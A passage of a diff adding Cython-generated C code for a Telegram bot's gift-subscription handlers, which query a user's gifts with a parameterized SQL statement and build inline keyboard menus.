} + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":37 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , ! ", reply_markup=builder.as_markup() + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 37, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 37, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("start_menu_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_4my_gifts_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_3my_gifts_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\264\320\273\321\217 \320\272\320\276\320\273\320\261\321\215\320\272\320\260 '\320\234\320\276\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270'. \320\237\320\276\320\272\320\260\320\267\321\213\320\262\320\260\320\265\321\202 \321\201\320\277\320\270\321\201\320\276\320\272 \320\277\320\276\320\264\320\260\321\200\320\272\320\276\320\262 \320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\217."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_4my_gifts_handler = {"my_gifts_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_4my_gifts_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_3my_gifts_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_4my_gifts_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("my_gifts_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 42, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 42, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, 1); __PYX_ERR(0, 42, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "my_gifts_handler") < 0)) __PYX_ERR(0, 42, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_session = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 42, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.my_gifts_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(__pyx_self, __pyx_v_callback_query, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("my_gifts_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 42, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_my_gifts_handler, __pyx_n_s_my_gifts_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.my_gifts_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_t_7; + int __pyx_t_8; + Py_ssize_t __pyx_t_9; + PyObject *(*__pyx_t_10)(PyObject *); + Py_ssize_t __pyx_t_11; + Py_UCS4 __pyx_t_12; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("my_gifts_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L6_resume_from_await; + case 3: goto __pyx_L10_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 42, __pyx_L1_error) + + /* "handlers/payments/gift.py":46 + * """ ' '. .""" + * + * user_tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< + * + * gifts = await session.fetch( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":48 + * user_tg_id = callback_query.from_user.id + * + * gifts = await session.fetch( # <<<<<<<<<<<<<< + * "SELECT gift_id, selected_months, is_used, expiry_time, recipient_tg_id FROM gifts WHERE sender_tg_id = $1", + * user_tg_id, + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_fetch); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/gift.py":50 + * gifts = await session.fetch( + * "SELECT gift_id, selected_months, is_used, expiry_time, recipient_tg_id FROM gifts WHERE sender_tg_id = $1", + * user_tg_id, # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_kp_u_SELECT_gift_id_selected_months_i, __pyx_cur_scope->__pyx_v_user_tg_id}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); + } else { + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_gifts = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":53 + * ) + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":54 + * + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) # <<<<<<<<<<<<<< + * + * if not gifts: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__6) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":56 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) + * + * if not gifts: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) + * return + */ + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_gifts); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_8 = (!__pyx_t_7); + if (__pyx_t_8) { + + /* "handlers/payments/gift.py":57 + * + * if not gifts: + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__8, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 57, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 57, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":58 + * if not gifts: + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) + * return # <<<<<<<<<<<<<< + * + * gifts_text = " :\n\n" + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":56 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) + * + * if not gifts: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) + * return + */ + } + + /* "handlers/payments/gift.py":60 + * return + * + * gifts_text = " :\n\n" # <<<<<<<<<<<<<< + * for gift in gifts: + * months = gift['selected_months'] + */ + __Pyx_INCREF(__pyx_kp_u_b_b_2); + __Pyx_GIVEREF(__pyx_kp_u_b_b_2); + __pyx_cur_scope->__pyx_v_gifts_text = __pyx_kp_u_b_b_2; + + /* "handlers/payments/gift.py":61 + * + * gifts_text = " :\n\n" + * for gift in gifts: # <<<<<<<<<<<<<< + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" + */ + if (likely(PyList_CheckExact(__pyx_cur_scope->__pyx_v_gifts)) || PyTuple_CheckExact(__pyx_cur_scope->__pyx_v_gifts)) { + __pyx_t_6 = __pyx_cur_scope->__pyx_v_gifts; __Pyx_INCREF(__pyx_t_6); + __pyx_t_9 = 0; + __pyx_t_10 = NULL; + } else { + __pyx_t_9 = -1; __pyx_t_6 = PyObject_GetIter(__pyx_cur_scope->__pyx_v_gifts); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 61, __pyx_L1_error) + } + for (;;) { + if (likely(!__pyx_t_10)) { + if (likely(PyList_CheckExact(__pyx_t_6))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_6); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #endif + if (__pyx_t_9 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_2 = PyList_GET_ITEM(__pyx_t_6, __pyx_t_9); __Pyx_INCREF(__pyx_t_2); __pyx_t_9++; if (unlikely((0 < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #else + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_6, __pyx_t_9); __pyx_t_9++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_6); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #endif + if (__pyx_t_9 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_6, __pyx_t_9); __Pyx_INCREF(__pyx_t_2); __pyx_t_9++; if (unlikely((0 < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #else + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_6, __pyx_t_9); __pyx_t_9++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + } + } else { + __pyx_t_2 = __pyx_t_10(__pyx_t_6); + if (unlikely(!__pyx_t_2)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 61, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_2); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_gift); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_gift, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":62 + * gifts_text = " :\n\n" + * for gift in gifts: + * months = 